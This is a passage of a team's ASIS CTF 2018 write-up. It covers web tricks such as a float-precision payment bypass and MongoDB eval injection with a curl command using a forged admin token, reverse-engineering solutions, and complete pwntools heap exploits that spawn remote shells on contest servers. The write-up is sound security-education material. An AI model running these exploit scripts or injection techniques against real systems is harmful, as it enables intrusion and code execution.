{}Used Coupons is {}'.format(session.get('credit'), session.get('coupons')) @app.route('/image')def resouce(): image_name = request.args.get('name') if '/' in image_name or '..' in image_name or 'private' in image_name: return 'Access Denied' return Response(open(image_name).read(), mimetype='image/png') @app.route('/pay', methods=['POST'])def pay(): data = request.get_json() card = data['card'] coupon = data['coupon'] if coupon.replace('=','') in session.get('coupons'): return jsonify({'result': 'the coupon is already used'}) for flag in card: if flag['count'] <= 0: return jsonify({'result':'item count must be greater than zero'}) discount = 0 for flag in card: if coupon.decode('base64').strip() in flags[flag['name']]['coupons']: discount += flag['count'] * flags[flag['name']]['price'] credit = session.get('credit') + discount for flag in card: credit -= flag['count'] * flags[flag['name']]['price'] if credit < 0: result = {'result': 'your credit not enough'} else: result = {'result': 'pay success'} result_data = [] for flag in card: result_data.append({'flag': flag['name'], 'data': flags[flag['name']]['data']}) result['data'] = result_data session['credit'] = credit session['coupons'].append(coupon.replace('=','')) return jsonify(result) if __name__ == '__main__': app.run(host='0.0.0.0', port=80)``` The first thought comes to my mind is race condition. We can send 2 requests to manipulate the session variables. However, manipulating credit leads to nothing, because it's not dependent on executing orders. Manipulating coupons is useless, neither. Why bother using a coupon twice? Just create another session. Then I start to dig if there is any logical error. The objective is to make the credit >= 0 when buying the real flag. After some brainstroming, I try to buy 0.01 fake flags, and it works. Let's test Python floating-point precision.```pythonPython 2.7.14 (default, Jan 5 2018, 10:41:29) [GCC 7.2.1 20171224] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> 1.335 * 125 + 0.334 * 290 - 1.335 * 125 - 0.334 * 2901.4210854715202004e-14``` Isn't it cool and surprising? Note that `1.4210854715202004e-14` is a positive number. For the count of real flag, we can buy `0.0000000...1`. Payload:```{"card":[{"name":"fake1","count":1.335},{"name":"fake2","count":0.334},{"name":"asis","count":0.0000000000000000000000000001}],"coupon":"ZkxAX19n"}``` Flag: `ASIS{th1@n_3xpens1ve_Fl@G}` You can abuse Python `NaN` to solve this challenge as well. Refer to [this writeup](https://ctftime.org/writeup/9893). ### Good WAF (solved by ysc, written by bookgin) The challenge requires us to bypass the WAF on SQL injection. **Unintended solution:** When the organizer is fixing the challenge by editing the source code, @ysc's web scanner found `.index.php.swp`, and we got the source code. The flag is there. That's all. Flag: `ASIS{e279aaf1780c798e55477a7afc7b2b18}` Never fix anything on the production server directly :) ### Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin) Firstly dive into `http://206.189.54.119:5000/site.js`. There are 4 interesting pages: - admin_area- get/title/1- get/text/1- get/image/1 The `admin_area` requires an authorization_token in the header, and the page will check the token. If it's incorrect, an error occurs `Authorization Failed.` Let's fuzz the three `get` APIs. The title, text seem not injectable and only parse integer until encountering an invalid character. However, image is injectable. The `get/image/0+1` is equal to `get/image/1`. Even `get/image/eval("0+1")` works like a charm. So we got a blind injection here. The backend is Nodejs + express. I'll first guess it's using mongoDB. Keey moving on. We try to extract the information of the backend, only to find it's in nodejs vm2. There is no `require` so we cannot RCE. Actually versatile @sasdf spent some time on trying to escape the vm, but it seems very hard. Next, we leaked `module` and find `_mongo`, `db`. It's possible to get all collection names via `db.collection.getname()`. Then, use eval and ` this["db"].credentials.find().toArray()` to dump the database. We dump `credentials` and `authorization`: ```{"_id":{"str":"5ae63ae0a86f623c83fecfb3"},"id":1,"method":"post_data","format":"username=[username]&password=[password]","activate":"false"}{"_id":{"str":"5ae63ae0a86f623c83fecfb4"},"id":2,"method":"header","format":"md5(se3cr3t|[username]|[password])","activate":"true"} {"_id":{"str":"5ae63ae0a86f623c83fecfb1"},"id":1,"username":"administrator","password":"H4rdP@ssw0rd?"}``` Great! The payload:```shcurl 'http://206.189.54.119:5000/admin_area' -H "authorization_token:`echo -n 'se3cr3t|administrator|H4rdP@ssw0rd?' | md5sum | cut -f1 -d' '`"``` Flag: `ASIS{3c266f6ccdaaef52eb4a9ab3abc2ca70}` Postscript: Take a look at Yashar Shahinzadeh's [writeup](https://medium.com/bugbountywriteup/mongodb-injection-asisctf-2018-quals-personal-website-write-up-web-task-115be1344ea2). In fact, the server will send back the error message through the response header `Application-Error`. There is no need to perform blind injection. We are reckless and didn't find this. Next time, I'll carefully inspect every payload and HTTP status code/headers. ### Sharp eyes (unsolved, written by bookgin, special thanks to @herrera) The incorrect account/password in the login page will redirect to `error/1`. Missing either account or password parameter redirects to `error/2`. The source HTML of `error/1`. ```html<html><head><script src='/jquery-3.3.1.min.js'></script><link href='style.css' rel='stylesheet'></head><body><div class="accordion"> <dl> <dt class="active"> <script>var user = '1';</script>Invalid credentials were given.``` If the URL is `error/hello`, the js part becomes `var user = 'hello';`. Addtionally, some characters `<>",` are filtered, but it's imple to bypass using single quotes and semicolons. It's obvious that we have to somehow make the admin trigger this XSS, but how? I guess the admin will read the log in the server, but after a few tries, we found it does't work at all. Ok, so why does variable user mean in the javascript here? Maybe we can inject the XSS payload to the username login page. but it doesn't work, neither. What if it's not a XSS challenge? I don't think so because: 1. I note that the jQuery is loaded in the error page, but it's not used.2. There is a XSS filter. The discovery strongly indicates this is a XSS challenge. However, why does the error code is assigned to a user variable? This does not make sense at all. This challenge made me very frustrated. I think the XSS part is very misleading at the begninning, though it's used after logged in successfully. It was not unitl the last 30 minutes that we found the error code is vulnerable to SQL injection. The server returns the content but the status code is 500. Thanks to @sasdf 's sharp eyes. I'm too careless to find the SQL injection vulenerability. SQLmap will dump the database. The DB is SQlite. Thanks to @herrera in IRC channel:> sharp eyes was sqli on /error/1, getting username/hash of the user david, logging into him, then using /error/1 as a XSS too, sending it to admin and getting the flag on flag.php Postscript: 1. Sharp eyes: HTTP status code2. Some misleading part might be the second stage of the challenge.3. It a number of teams solve this challenge, it must be not difficult. ### Gameshop (unsolved) Please refer to [official solution](https://blog.harold.kim/2018/04/asisctf-2018-gameshop-solution). Acctually, we spent a few hours on MicroDB LFI. Next, I'm trying to find a way to exploit all the possible `die(__FLAG__)`. I know we may use unserialization to create `Affimojas->flag = 0`, since in PHP, `var_dump(0 == "asdasdasd"); // bool(true)` . However, I cannot find the way to exploit unserilization. In the last 1 hours, @sasdf noted that we can manipulate the first block, but we though we didn't have much time solving this challenge. There is a long road to go on solving web challnges:) ## rev ### Warm up (sces60107) This is a warm up challenge. They give you a C file like this. ```C#define M 37#define q (2+M/M)#define v (q/q)#define ef ((v+q)/2)#define f (q-v-ef)#define k (8-ef)struct b{int64_t y[13];}S;int m=1811939329,N=1,t[1<<26]={2},a,*p,i,e=73421233,s,c,U=1;g(d,h){for(i=s;i<1<<25;i*=2)d=d*1LL*d%m;for(p=t;p<t+N;p+=s)for(i=s,c=1;i;i--)a=p[s]*(h?c:1LL)%m,p[s]=(m*1U+*p-a)*(h?1LL:c)%m,*p=(a*1U+*p)%m,p++,c=c*1LL*d%m;}l(){while(e/=2){N*=2;U=U*1LL*(m+1)/2%m;for(s=N;s/=2;)g(136,0);for(p=t;p<t+N;p++)*p=*p*1LL**p%m*U%m;for(s=1;s<N;s*=2)g(839354248,1);for(a=0,p=t;p<t+N;)a+=*p<<(e&1),*p++=a%10,a/=10;}}z(n){int y=3,j,c;for(j=2;j<=n;){l();for(c=2;c<=y-1;c++){l();if(y%c==0)break;}if(c==y){l();j++;}y++;}l();return y-1;}main(a, pq) char* pq;{int b=sizeof(S),y=b,j=M;l();int x[M]={b-M-sizeof((short int) a),(b>>v)+(k<<v)+ (v<<(q|ef)) + z(v+(ef<<v)),(z(k*ef)<<v)-pow(ef,f), z(( (j-ef*k)|(ef<<k>>v)/k-ef<<v)-ef),(((y+M)&b)<<(k/q+ef))-z(ef+v),((ef<<k)-v)&y,y*v+v,(ef<<(q*ef-v-(k>>ef)))*q-v,(f<<q)|(ef<<(q*f+k))-j+k,(z(z(z(z(z(v)))))*q)&(((j/q)-(ef<<v))<<q)|(j+(q|(ef<<v))),y|(q+v),(ef<<ef)-v+ef*(((j>>ef)|j)-v+ef-q+v),(z(j&(b<<ef))&(z(v<<v)<<k))-(q<<v)-q,(k<<q)+q,(z(y)>>(ef<<v))+(z(k+v))-q,(z(z(k&ef|j))&b|ef|v<<f<<q<<v&ef>>k|q<<ef<<v|k|q)+z(v<<v)+v,(ef>>v)*q*z(k-v)+z(ef<<ef&q|k)+ef,z(k<<k)&v&k|y+k-v,z(f>>ef|k>>ef|v|k)*(ef>>v)*q,(ef<<k-ef<<v>>q<<ef*ef)-j+(ef<<v),z(ef*k)*z(v<<v)+k-v,z((z(k)<<z(v)))&y|k|v,z(ef<<ef<<v<<v)/ef+z(v<<ef|k|(b>>q)&y-f)-(ef<<q)+(k-v)-ef,k<<(ef+q)/z(ef)*z(q)&z(k<<k)|v,((z(y|j>>k*ef))%ef<<z(v<<v<<v)>>q<<q|j)/ef+v,(j-ef<<ef<<v*z(v>>v<<v)>>ef)/ef%z(k<<j)+q,z(k-v)+k|z(ef<<k>>v<<f)-z(q<<q)*ef>>v,(z(ef|y&j|k)%q|j+ef<<z(k|ef)%k<<q|ef|k<<ef<<q/ef|y/ef+j>>q)&k<<j|ef+v,84,z(v*ef<<ef<<q)*q%ef<<k|k|q-v,((z(20)*v)|(f>>q)|(k<<k))/ef-(ef<<(v*q+ef))-(k<<q)+z(k)-q};while(j--){putchar(x[M-v-j]);}printf(" From ASIS With Love <3\n");return 0;}``` You can compile the code. But when executing the binary, it just hanging there. So the first step is to understand this code.It look likes you need to beautify this code. You can count on online tools, but I do this with myself. And I found out there is a useless function `l` which seems to waste lots of time. I just deleted that function in the code and compile the code again. Eventualy, I got the flag and the first blood. The flag is `ASIS{hi_all_w31c0m3_to_ASISCTF}` ### baby C (sces60107) This challenge give you a obfuscated binary. It is obvious that they use [movfuscator](https://github.com/xoreaxeaxeax/movfuscator). It's not easy to reverse such obfuscated binary directly. You will need the help of `qira` or `gdb`. And I choose the former. But it's still difficult to trace the program flow. After a while, I notice that there is `strncmp` in this binary. ```....text:08049557 mov eax, off_83F6170[edx*4].text:0804955E mov edx, dword_81F6110.text:08049564 mov [eax], edx.text:08049566 mov esp, off_83F6130.text:0804956C mov dword_85F61C4, offset strncmp_plt.text:08049576 mov eax, dword_83F6158.text:0804957B mov eax, off_85F61C8[eax*4].text:08049582 mov eax, [eax]...``` I utilized `qira` to trace the program and realized that part of code is doing `strncmp(input[3:],"m0vfu3c4t0r!",0xc)` Well, the hint tell us `flag is ASIS{sha1(input[:14])}` Now we just need the first three byte. The next step needs patience. you have to trace down the code manually. Then you can find this ```....text:080498C8 mov dl, byte ptr dword_804D050.text:080498CE mov edx, dword_81F5B70[edx*4].text:080498D5 mov dword_804D05C, edx.text:080498DB mov dword_804D058, 'A'.text:080498E5 mov eax, dword_804D05C.text:080498EA mov edx, dword_804D058.text:080498F0 mov ecx, 8804B21Ch...``` If you are familiar with movfuscator, you will know this part of code is trying to compare two bytes. I knew this because I read this [pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) in order to solve this challenge. Now we know it is try to compare the first byte of input to `A` The rest of this chanllenge is diggin out the other code which try to compare the second and the third byte. ```....text:08049BED mov edx, 0.text:08049BF2 mov dl, byte ptr dword_804D050.text:08049BF8 mov edx, dword_81F5B70[edx*4].text:08049BFF mov dword_804D05C, edx.text:08049C05 mov dword_804D058, 'h'.text:08049C0F mov eax, dword_804D05C.text:08049C14 mov edx, dword_804D058.text:08049C1A mov ecx, 8804B21Ch....text:08049F17 mov edx, 0.text:08049F1C mov dl, byte ptr dword_804D050.text:08049F22 mov edx, dword_81F5B70[edx*4].text:08049F29 mov dword_804D05C, edx.text:08049F2F mov dword_804D058, '_'.text:08049F39 mov eax, dword_804D05C.text:08049F3E mov edx, dword_804D058.text:08049F44 mov ecx, 8804B21Ch...``` Finally, we got `input[:14]` which is `Ah_m0vfu3c4t0r`. So the flag will be `ASIS{574a1ebc69c34903a4631820f292d11fcd41b906}`### Echo (sces60107) You will be given a binary in this challenge. Just try to execute it.```$ ./Echo Missing argument$ ./Echo blablaError opening blabla!``` Well, you only get some error message. After using some decompile tool I found this. ``` if ( v9 <= 1 ) { fwrite("Missing argument\n", 1uLL, 0x11uLL, stderr); exit(1); } if ( !strncmp(*(const char **)(a2 + 8), "GIVEMEFLAG", 0xAuLL) ) { v46 = (signed int)sub_970(v49); }``` It seems like you should put `GIVEMEFLAG` in the first argument. ```./Echo GIVEMEFLAGaawtfwtfthisisuselessthisisuseless``` Well it just echo what you input. But `sub_970` seems interesting. I used gdb to catch return value. Then I found this function return a string array `>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>>>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]><<<<<<<<<<<<<<<<<<<<<<<<<<,[.,]` Obviously, it is `brainfuck`. the last part of this brainfuck string is `[.,]` which will read your input and output to your screen. before that there a bunch of `[+]>` . It will clean the buffer. The goal is clear now. we need to what does it put on the buffer before it remove them. We can rewrite the brainfuck string to fulfill our requirements The new brainfuck string will be `>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[.>]` Now the binary will output the flag `flag{_bR41n---,[>.<],+_fxxK__}` According to the note `Note: flag{whatyoufound}, submit ASIS{sha1(whatyoufound)}` The true flag is `ASIS{7928cc0d0f66530a42d5d3a06f94bdc24f0492ff}`### Left or Right? (sces60107) Just try to execute the given binary. ```$ ./right_or_left What's The Secret Key?I dont knowinvalid key:( try again``` So it seems like we need a secret key? Then I levearaged a decompiler to reverse this binary. Unfortunately, I found that it's a `rust` binary. I am not familar with `rust`. It's difficult to me to fully reverse it. Then I found some interesting strings like `therustlanguageisfun` and `superkeymysecretkeygivemetheflagasisctfisfun` I try to input those strings ```$ ./right_or_left What's The Secret Key?therustlanguageisfunASIS{that_is_not_the_real_flag}$ ./right_or_left What's The Secret Key?superkey ASIS{be_noughty_step_closer_to_see_the_flag}$ ./right_or_left What's The Secret Key?mysecretkeyASIS{imagine_a_flag_in_a_watermelon_how_can_you_capture_it}``` It seems like they are all fake flag. Now there is two ways to deal with this chellange. The way I take is finding how this binary output those fake flag. Using `gdb` and `IDA pro`, I found that those function which will generate fake flag is located at these position. ![](https://i.imgur.com/Riza8hO.png) Well, `sub_9320` seems to be a good target to analysis. Just use `gdb` and change your $rip. Then, the real flag will output to your screen Now you have the flag `ASIS{Rust_!s_Right_i5_rust_!5_rust_but_rust_!s_no7_left}` There is another way to capture the flag. In this way, you should find out the real secret key. Practically, you need to locate the key-checking function. Track those fake key. you will find out the key-checking function. It is located at `sub_83c0` Then you can trace this function and easily get the real secret key which is `sscsfuntnguageisfunsu`### Density (sces60107) In this challenge you will get a binary and a encrypted flag. This chllenge is not difficult at all. The binary name is "b64pack". You can just try base64```$ base64 short_adff30bd9894908ee5730266025ffd3787042046dd30b61a78e6cc9cadd72191 O++h+b+qcASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM+vb++fD9W+q/Cg==``` There is string while looks like flag`ASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM+vb++fD9W+q/Cg==` We still need to reverse the binary. You can divide this binary into three part. The first part:`input=randomstr+input+flag` The second part:```pythonnewinput=""for i in input: if i in "@$_!\"#%&'()*+,-./:;<=>?\n": newinput+="+"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i)) elif i in "[\\]^{|}~`\t": newinput+="++"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i)) else: newinput+=i```The third part:```output=newinput.decode("base64")``` Now you know how to reconstruct the flag.The flag is `ASIS{01d_4Nd_GoLD_ASIS_1De4_4H4t_g0e5_f0r_ls!}`## pwn ### Cat (kevin47) * I am a idiot that can't think, so I used the most hardcore way :)* Use name and kind to leak heap, libc, stack, canary* fastbin dup attack to stack twice in order to overwrite return address ```python#!/usr/bin/env python2 from pwn import *from IPython import embedimport re context.arch = 'amd64' r = remote('178.62.40.102', 6000) def create(name, kind, age, nonl=0, stack=''): if name == '': r.recvrepeat(1) if stack: r.send(stack) else: r.send('0001') if name == '': r.sendlineafter('>', '') r.sendlineafter('>', '') else: r.send(name.ljust(0x16, '\x00')) r.send(kind.ljust(0x16, '\x00')) r.send(str(age).rjust(4, '0')) def edit(idx, name, kind, age, modify, sp=1): r.send('0002') r.send(str(idx).rjust(4, '0')) if sp: r.recvrepeat(1) r.sendline(name) r.sendlineafter('>', kind) else: r.send(name.ljust(0x16, '\x00')) r.send(kind.ljust(0x16, '\x00')) r.send(str(age).rjust(4, '0')) r.send(modify.ljust(4, '\x00')) def print_one(idx): r.recvrepeat(2) r.send('0003') r.sendlineafter('>', str(idx)) return r.recvuntil('---', drop=True) def delete(idx): r.send('0005') r.send(str(idx).rjust(4, '0')) create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)#create('a'*0x10, 'a'*0x10, 1)create(flat(0, 0x21), flat(0, 0x21), 1)create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)delete(4)delete(5)# set ptredit(0, 'b', 'b', 2, 'n')create('', '', 1)edit(0, 'b', 'b', 2, 'n', sp=1)x = print_one(4)xx = re.findall('kind: (.*)\nold', x)[0]heap = u64(xx.ljust(8, '\x00')) - 0x180print 'heap:', hex(heap)create('a', flat(heap+0x10, heap+0x70), 1)edit(0, 'b', 'b', 2, 'n') create(flat(0x602010), 'a', 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]#libc = u64(xx.ljust(8, '\x00')) - 0x3a6870libc = u64(xx.ljust(8, '\x00')) - 0x3e1870print 'libc:', hex(libc) delete(6)#environ = libc + 0x38bf98environ = libc + 0x3c6f38create(flat(heap+0x10, heap+0x30), flat(environ, heap+0x30), 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]stack = u64(xx.ljust(8, '\x00'))print 'stack', hex(stack) delete(6)canary_addr = stack - 0x100 + 1create(flat(canary_addr, heap+0x30), flat(heap+0x10, heap+0x30), 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]canary = u64('\x00'+xx[:7])print 'canary:', hex(canary) # switch orderdelete(6)create(flat(heap+0x10, heap+0x30), flat(heap+0x10, heap+0x30), 1) edit(0, 'b', 'b', 2, 'n')delete(1) fake_pos = stack-0x11fprint 'fake_pos:', hex(fake_pos)create(flat(fake_pos), 'a', 1)# fake chunk on stackcreate(flat(heap+0x1b0, heap+0x210), '\x00'*7+flat(0x2100), 1, stack='1\x21\x00\x00') # puts address on heapdelete(3)create(flat(fake_pos+0x10), flat(fake_pos+0x10), 1) # reset fastbindelete(4)delete(0) create(flat(heap+0x160), 'b', 1,)#raw_input("@")magic = libc + 0xf1147print 'magic:', hex(magic)r.recvrepeat(1)r.sendline('1')r.sendlineafter('>', 'AAAA')r.sendafter('>', flat(canary>>8)[:-1]+flat(0, magic))r.sendlineafter('>', '6')sleep(1)r.sendline('ls /home/pwn; cat /home/pwn/flag') #embed()r.interactive() # ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}``` ### Just_sort (kevin47) * Simple overflow and UAF problem ```python#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' r = remote('159.65.125.233', 6005) def insert(n, s): r.sendlineafter('>', '1') r.sendlineafter('>', str(n)) r.sendafter('>', s) def edit(h, p, s): r.sendlineafter('>', '2') r.sendlineafter('>', str(h)) r.sendlineafter('>', str(p)) r.sendafter('>', s) def printt(): r.sendlineafter('>', '3') return r.recvuntil('---', drop=True) def search(n, s): r.sendlineafter('>', '4') r.sendlineafter('>', str(n)) r.sendafter('>', s) def delete(h, p): r.sendlineafter('>', '5') r.sendlineafter('>', str(h)) r.sendlineafter('>', str(p)) insert(10, 'a')insert(10, 'b')delete(1, 0)search(10, flat( [0]*3, 0x21, [0]*3, 0x21, 0, 0x602018,))x = printt()xx = re.findall('0: "(.*)"', x)[0]libc = u64(xx.ljust(8, '\x00')) - 0x844f0print 'libc:', hex(libc)system = libc+0x45390edit(1, 0, flat(system))insert(40, '/bin/sh\x00')delete(4, 0) r.interactive()# ASIS{67d526ef0e01f2f9bdd7bff3829ba6694767f3d1}``` ### message_me (kevin47) * UAF* hijack __malloc_hook with fastbin dup attack ```python#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' #r = remote('127.0.0.1', 7124)r = remote('159.65.125.233', 6003) def add(sz, content): r.sendlineafter('choice : ', '0') r.sendlineafter('size : ', str(sz)) r.sendlineafter('meesage : ', content) def remove(idx): r.sendlineafter('choice : ', '1') r.sendlineafter('message : ', str(idx)) def show(idx): r.sendlineafter('choice : ', '2') r.sendlineafter('message : ', str(idx)) return r.recvuntil('----', drop=True) def change(idx): r.sendlineafter('choice : ', '3') r.sendlineafter('message : ', str(idx)) add(0x100-0x10, 'a') # 0add(100-0x10, 'a') # 1add(0x100-0x10, 'a') # 2add(100-0x10, 'a') # 3add(0x100-0x10, 'a') # 4add(100-0x10, 'a') # 5remove(0)remove(2)remove(4)x = show(2)xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]heap = u64(xx.ljust(8, '\x00')) - 0x2e0x = show(4)xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]libc = u64(xx.ljust(8, '\x00')) - 0x3c4c68print 'heap:', hex(heap)print 'libc:', hex(libc) # fastbin dupclib = CDLL("libc.so.6")clib.srand(1)__malloc_hook = libc + 0x3c4aed#__malloc_hook = 0x602005magic = libc + 0xf02a4print 'magic:', hex(magic)add(0x70-0x10, flat( # 6 0x71,))add(0x70-0x10, flat(0x71, __malloc_hook)) # 7remove(6)remove(7)remove(6)# 6's fd += 0x10change(6)change(6)change(6)add(0x70-0x10, flat(0xdeadbeef))add(0x70-0x10, flat(0xdeadbeef))add(0x70-0x10, '\x00'*3+flat(0, magic)) # trigger malloc_printerrremove(0)remove(0)#r.sendlineafter('choice : ', '0')#r.sendlineafter('size : ', '100') r.interactive()# ASIS{321ba5b38c9e4db97c5cc995f1451059b4e28f6a}``` ### Tinypwn (kevin47) * Use the syscall execveat ```python2#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' #r = remote('127.0.0.1', 7124)r = remote('159.65.125.233', 6009) r.send('/bin/sh\x00'.ljust(296)+flat(0x4000ed)+'\x00'*18) r.interactive() # ASIS{9cea1dd8873d688649e7cf738dade84a33a508fb}``` ## PPC ### Neighbour (lwc)$O(log N)$```python=#!/usr/bin/env python# -*- coding: utf-8 